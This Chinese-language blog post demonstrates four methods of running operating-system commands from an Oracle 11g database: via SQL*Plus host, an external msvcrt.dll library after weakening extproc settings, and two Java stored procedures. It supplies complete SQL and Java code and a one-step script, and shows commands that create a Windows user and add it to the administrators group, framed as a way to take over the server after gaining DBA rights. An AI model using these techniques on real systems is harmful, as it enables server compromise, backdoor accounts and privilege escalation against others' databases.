天天看點

oracle執行cmd的實作方法

網絡上找到的在sqlplus中執行cmd的一些指令,主要有四種方法,這邊都做了一下測試,這裡做一下記錄:

測試環境:window2003+Oracle 11.2.0.1.0

第一種方法:

最簡單的執行cmd指令方法,但執行的本機的cmd指令,非資料庫系統的cmd指令,故和本機打開cmd指令一樣,貌似沒什麼用。

C:\wmpub>sqlplus system/QWEasd123@testdb

SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016

Copyright (c) 1982, 2010, Oracle.  All rights reserved.


連接配接到:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> host net user

\\TEST1 的使用者帳戶

-------------------------------------------------------------------------------
Administrator            Guest                    SUPPORT_388945a0
指令成功完成。
      

第二種方法:

利用msvcrt.dll

1、建立一個oracle.sql檔案,儲存如下内容:

Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
      

2、執行oracle.sql,進一步執行cmd指令,然而卻報錯,預設安裝情況下,用這種方法應該是沒辦法執行成功的,如果有高手成功的話,友善告知一下。

SQL> @oracle.sql

庫已建立。

沒有錯誤。

程式包已建立。

沒有錯誤。

程式包體已建立。

沒有錯誤。
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
BEGIN oracmd.exec ('dir > c:\oracle.txt'); END;

*
第 1 行出現錯誤:
ORA-28595: Extproc 代理: DLL 路徑無效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1      

3、修改oracle配置

在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora

# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.

SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = CLRExtProc)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (PROGRAM = extproc)
      (ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll")
    )
    (SID_DESC =
      (GLOBAL_DBNAME = testdb)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (SID_NAME = testdb)
    )
  )      

修改ENVS,為ANY

(SID_DESC =
      (SID_NAME = CLRExtProc)
      (ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
      (PROGRAM = extproc)
      (ENVS = "EXTPROC_DLLS=ANY")
    )      

在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora

将最後一行

SET EXTPROC_DLLS=      

改為

SET EXTPROC_DLLS=ANY      

4、重新執行

SQL> exec oracmd.exec ('net user xiaozi xiaozi /add');

PL/SQL 過程已成功完成。      

這時候指令已成功執行,這招可以用來建立資料庫伺服器管理者賬号密碼以及進一步操作,然而預設配置執行不成功實在蛋疼,除非哪個誰已經改了。

第三種:

建立1.sql

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
      

建立2.sql

create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
      

建立3.sql

create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;      

登陸上去後依舊是依次執行

SQL> @1.sql
 35  /

Java 已建立。

SQL> @2.sql
  6  /

函數已建立。

SQL> @3.sql
  7  /

過程已建立。

SQL>
SQL> variable x number;
SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000);
SQL> grant javasyspriv to system;


PL/SQL 過程已成功完成。

SQL> exec :x:=run_cmd('ipconfig');

Windows IP Configuration


Ethernet adapter 本地連接配接:

Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 過程已成功完成。
      

本機測試成功,拿到oracle賬号,提升至dba權限,可以考慮使用這種方法拿下伺服器。

下面整成一個sql檔案,隻需執行一步,即可擷取資料庫ip和管理者清單

create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/

create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';

/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/

variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
exec :x:=run_cmd('ipconfig');
exec :x:=run_cmd('net1 user');      

 登陸進去執行執行腳本

SQL> @java.sql

Java 已建立。


函數已建立。


過程已建立。


PL/SQL 過程已成功完成。


授權成功。


Windows IP Configuration


Ethernet adapter 本地連接配接:

Connection-specific DNS Suffix  . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1

PL/SQL 過程已成功完成。

User accounts for \\
-------------------------------------------------------------------------------
Administrator            Guest                    SUPPORT_388945a0
xiaozi123
The command completed with one or more errors.

PL/SQL 過程已成功完成。      

 第四種:

通過Java運作OS指令

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c net user xiaozi 123 /add');
exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');      

賬号建立成功,如下圖:

oracle執行cmd的實作方法

不同的方法需要不同的權限要求,dba權限下,無視。

 第三第四種方法需要有javasyspriv才能正确執行

SQL> grant javasyspriv to scott;

SQL> revoke javasyspriv from scott;

參考文章:

ORACLE提權:http://blog.csdn.net/heiyoubei513/article/details/4009377

Oracle 10g版本SCOTT使用者提升DBA權限實戰圖文:http://niuzu.blog.51cto.com/3006825/607657/